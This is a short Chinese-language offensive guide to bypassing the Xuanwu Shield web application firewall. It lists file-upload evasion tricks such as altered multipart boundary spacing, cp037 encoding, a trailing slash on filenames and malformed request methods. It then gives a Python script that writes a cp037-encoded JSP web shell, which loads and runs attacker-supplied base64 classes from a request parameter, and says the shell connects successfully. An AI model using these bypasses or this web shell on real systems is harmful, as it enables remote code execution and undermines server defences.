玄武盾的幾種繞過姿勢

0x01 文件名繞過

boundary等號前后空格繞過

Content-Type: multipart/form-data;
boundary = ----WebKitFormBoundaryMJPuN1aHyzfAO2m3

boundary等號前后ascii碼09繞過

Cp037編碼繞過

文件名后加/繞過

畸形請求方法

0x02 文件內容繞過

unicode編碼

cp037編碼（腳本內置馬支持后綴jsp/jspx，都可解析）

編碼腳本

#python2
data = '''"1.0"
 encoding=
"cp037"
?>"http://java.sun.com/JSP/Page"
 version=
"1.2"
>  
    class PERFORM extends ClassLoader {
      PERFORM(ClassLoader c) { super(c);}
      public Class bookkeeping(byte[] b) {
        return super.defineClass(b, 0, b.length);
      }
    }
    public byte[] branch(String str) throws Exception {
      Class base64;
      byte[] value = null;
      try {
        base64=Class.forName("sun.misc.BASE64Decoder");
        Object decoder = base64.newInstance();
        value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
      } catch (Exception e) {
        try {
          base64=Class.forName("java.util.Base64");
          Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
          value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
        } catch (Exception ee) {}
      }
      return value;
    }
  
  
    String cls = request.getParameter("xxoo");
    if (cls != null) {
      new PERFORM(this.getClass().getClassLoader()).bookkeeping(branch(cls)).newInstance().equals(new Object[]{request,response});
    }
  
'''
fcp037 = open('cp037.jsp','wb')
fcp037.write(data.encode('cp037'))

生成出來，burp選擇paste from file

可以正常連接